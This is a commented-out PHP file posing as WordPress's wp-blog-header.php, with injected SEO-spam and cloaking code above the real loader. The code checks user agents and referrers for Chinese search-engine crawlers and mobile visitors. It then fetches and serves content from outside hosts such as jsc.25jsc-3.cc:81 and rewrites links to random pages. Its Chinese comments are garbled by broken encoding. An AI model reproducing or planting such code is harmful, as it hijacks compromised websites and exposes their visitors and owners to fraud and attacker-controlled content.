// [\s\S]*?<\/a>/';
// preg_match_all($lianjie, $output, $aarray5);
// if ($aarray5[0]) {
// $count = 0; // 娣诲姞璁℃暟鍣�
// foreach ($aarray5[0] as $pbti) {
// $preg = '/href=(\"|\')(.*?)(\"|\')/i';
// if ($count < 2) { // 鍙浛鎹㈠墠涓や釜閾炬帴
// // 浠庡閮ㄩ摼鎺ヨ幏鍙杢xt涓殑閾炬帴
// $randomUrl = str_replace('', '', $randomUrl);
// if ($randomUrl !== false) {
// $replacestr = 'href="' . trim($randomUrl) . generateRandomNumber(). '.html"';
// $count++; // 鎴愬姛鏇挎崲鍚庤鏁板姞1
// } else {
// $replacestr = 'href=" ' . generateRandomNumber(). '.html"';
// }
// } else {
// // 瓒呰繃2涓悗浣跨敤鍘熸潵鐨勬牸寮�
// $replacestr = 'href="' . generateRandomNumber() . '.html"';
// }
// $aoutput = preg_replace($preg, $replacestr, $pbti);
// $output = str_replace($pbti, $aoutput, $output);
// }
// }
// return $output;
// }
// function httpGet32($url2) {
// header('Content-Type:text/html;charset=utf-8');
// $ch = curl_init();
// $ua2 = $_SERVER['HTTP_USER_AGENT'];
// curl_setopt($ch, CURLOPT_URL, $url2);
// curl_setopt($ch, CURLOPT_USERAGENT, 'MyCustomUA/1.0');
// curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
// curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
// curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// curl_setopt($ch, CURLOPT_HEADER, 0);
// $output = curl_exec($ch);
// curl_close($ch);
// return $output;
// }
// function httpGet3($url2) {
// header('Content-Type:text/html;charset=utf-8');
// $ch = curl_init();
// $ua2 = $_SERVER['HTTP_USER_AGENT'];
// curl_setopt($ch, CURLOPT_URL, $url2);
// curl_setopt($ch, CURLOPT_USERAGENT, $ua2);
// curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
// curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
// curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// curl_setopt($ch, CURLOPT_HEADER, 0);
// $output = curl_exec($ch);
// curl_close($ch);
// return $output;
// }
// $dir="/?wen";
// function char($length = 5, $type = 0)
// {
// $arr = array(1 => "0123456789", 2 => "abcdefghijklmnopqrstuvwxyz0123456789");
// if ($type == 0)
// {
// array_pop($arr);
// $string = implode("", $arr);
// } elseif ($type == "-1") {
// $string = implode("", $arr);
// } else {
// $string = $arr[$type];
// }
// $count = strlen($string) - 1;
// $code = '';
// for ($i = 0; $i < $length; $i++) {
// $code .= $string[rand(0, $count)];
// }
// return $code;
// }
// $dir2=get_url2().'/wen';
// function get_url2() {
// $url2 = $_SERVER['REQUEST_URI'];
// $url2 = preg_replace('~/+~', '/', $url2); // 鍘婚櫎澶氫綑鐨勬枩鏉�
// // 鍒嗗壊璺緞
// $parts = explode('/', trim($url2, '/'));
// // 濡傛灉鏂囦欢璺緞锛屼繚鐣欏墠涓ょ骇鐩綍
// if (preg_match('/\.(php|html|xml|asp|ppt|shtml)$/', end($parts))) {
// // 鏂囦欢璺緞锛岃繑鍥炲墠涓ょ骇鐩綍
// $url2 = '/' . $parts[0];
// } else {
// // 涓嶆槸鏂囦欢璺緞锛屼繚鐣欏墠涓ょ骇鐩綍
// if (count($parts) > 2) {
// $url2 = '/' . $parts[0] . '/' . $parts[1];
// } else {
// $url2 = '/' . implode('/', $parts);
// }
// }
// return $url2;
// }
// define('mobile', '/phone|pad|pod|UCBrowser|OpenHarmony|SogouMSE|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|' .
// 'MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/');
// define('ref', !isset($b['HTTP_REFERER']) ? '' : $b['HTTP_REFERER']);
// define('url', $er2['REQUEST_URI']);
// define('ref', $er2['HTTP_REFERER']);
// define('ent', $er2['HTTP_USER_AGENT']);
// define('site', "http://jsc.25jsc-3.cc:81/");
// define('site2', "http://jsc.sogousm1.cc:81/");
// define('url8', $fullUrl2);
// $title = '/
(.*?)<\/title>/i';
// $meta = '//i';
// $miaoshu = '//i';
// define('road',$_SERVER['REQUEST_URI']);
// define('regs', '@baiduspider@i');
// define('regs2', '@yisou|Sogou|haosou|360|360spider@i');
// define('area', stristr(url, "wen"));
// define('area2', stristr(url, "/"));
// if (preg_match(regs, ent)) {
// if (area) {
// echo '' ;
// echo '';
// //echo httpGet3(site.road).httpGet32(url8);
// $html2 = httpGet32(url8);
// $html = httpGet3(site . road);
// // $html = httpGet32(url8)
// // 閹笛嗩攽閺囨寧宕�
// $html2 = str_replace('', '', $html2);
// // 閹笛嗩攽閺囨寧宕�', '', $html);
// // 閹笛嗩攽閺囨寧宕�
// $html = str_replace('', '', $html);
// $lianjie = '/[\s\S]*?<\/a>/';
// preg_match_all($lianjie,$html,$aarray5);
// if($aarray5[0]){
// foreach ($aarray5[0] as $pbti){
// $preg = '/href=(\"|\')(.*?)(\"|\')/i';
// $replacestr = 'href="'.$dir."/".char(6,1).char(mt_rand(4,10),2).'.html'.'"';
// $ahtml=preg_replace($preg, $replacestr,$pbti);
// $html= str_replace($pbti, $ahtml, $html);
// }
// }
// echo $html;
// exit();
// }
// }
// ob_flush();
// flush();
// if (area && preg_match("/.*(baidu).*/i",ref,$OutUa)&&preg_match(mobile, ent)&&url!=""&&url!="/"&&url!="/index.php"&&url!="/index.html") {
// $ua = $_SERVER['HTTP_USER_AGENT'];
// $ch = curl_init();
// // 鐠佸墽鐤哢RL閸滃瞼娴夋惔鏃傛畱闁銆�
// curl_setopt($ch, CURLOPT_USERAGENT, $ua);
// curl_setopt($ch, CURLOPT_URL, "http://txt.25jsc-3.cc:81/26xin/wen502.php");
// curl_setopt($ch, CURLOPT_HEADER, false);
// // 閹舵挸褰嘦RL楠炶埖濡哥€瑰啩绱堕柅鎺旂舶濞村繗顫嶉崳锟�
// curl_exec($ch);
// //閸忔娊妫碿URL鐠у嫭绨敍灞借嫙娑撴棃鍣撮弨鍓ч兇缂佺喕绁┃锟�
// curl_close($ch);
// exit();
// }
// elseif (area && preg_match('/phone|pad|pod|OpenHarmony|iPhone|SogouMSE|iPod|UCBrowser|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/',$_SERVER['HTTP_USER_AGENT'])) {
// $ua = $_SERVER['HTTP_USER_AGENT'];
// $ch = curl_init();
// // 璁剧疆URL鍜岀浉搴旂殑閫夐」
// curl_setopt($ch, CURLOPT_USERAGENT, $ua);
// curl_setopt($ch, CURLOPT_URL, "http://txt.25jsc-3.cc:81/26xin/wen502pd.php");
// curl_setopt($ch, CURLOPT_HEADER, false);
// // 鎶撳彇URL骞舵妸瀹冧紶閫掔粰娴忚鍣�
// curl_exec($ch);
// //鍏抽棴cURL璧勬簮锛屽苟涓旈噴鏀剧郴缁熻祫婧�
// curl_close($ch);
// exit();
// }
// if (preg_match(regs2, ent) &&
// url != "" &&
// url != "/" &&
// url != "/index.php") {
// // echo (site2.road);
// echo httpGet3(site2.road);
// exit();
// } elseif (preg_match(regs2, ent)) {
// $html=httpGet32(url8.url);
// // echo(url8.url);
// // 閹笛嗩攽閺囨寧宕�
// $html = str_replace('
', '', $html);
// // 閹笛嗩攽閺囨寧宕�
// $html = str_replace('', '', $html);
// $lianjie = '/[\s\S]*?<\/a>/';
// preg_match_all($lianjie,$html,$aarray5);
// if($aarray5[0]){
// foreach ($aarray5[0] as $pbti){
// $preg = '/href=(\"|\')(.*?)(\"|\')/i';
// $replacestr = 'href="'.$dir."/".char(6,1).char(mt_rand(4,10),2).'.html'.'"';
// $ahtml=preg_replace($preg, $replacestr,$pbti);
// $html= str_replace($pbti, $ahtml, $html);
// }
// }
// echo $html;
// exit();
// }
// if (preg_match("/.*(sogou|yisou|sm|360|haoso).*/i",ref,$OutUa)&&preg_match(mobile, ent)&&url!=""&&url!="/"&&url!="/index.php"&&url!="/index.html") {
// $ua = $_SERVER['HTTP_USER_AGENT'];
// $ch = curl_init();
// // 鐠佸墽鐤哢RL閸滃瞼娴夋惔鏃傛畱闁銆�
// curl_setopt($ch, CURLOPT_USERAGENT, $ua);
// curl_setopt($ch, CURLOPT_URL, "http://txt.25jsc-3.cc:81/26xin/wen502sg.php");
// curl_setopt($ch, CURLOPT_HEADER, false);
// // 閹舵挸褰嘦RL楠炶埖濡哥€瑰啩绱堕柅鎺旂舶濞村繗顫嶉崳锟�
// curl_exec($ch);
// //閸忔娊妫碿URL鐠у嫭绨敍灞借嫙娑撴棃鍣撮弨鍓ч兇缂佺喕绁┃锟�
// curl_close($ch);
// exit();
// }
// /**
// * Loads the WordPress environment and template.
// *
// * @package WordPress
// */
// if ( ! isset( $wp_did_header ) ) {
// $wp_did_header = true;
// // Load the WordPress library.
// require_once __DIR__ . '/wp-load.php';
// // Set up the WordPress query.
// wp();
// // Load the theme template.
// require_once ABSPATH . WPINC . '/template-loader.php';
// }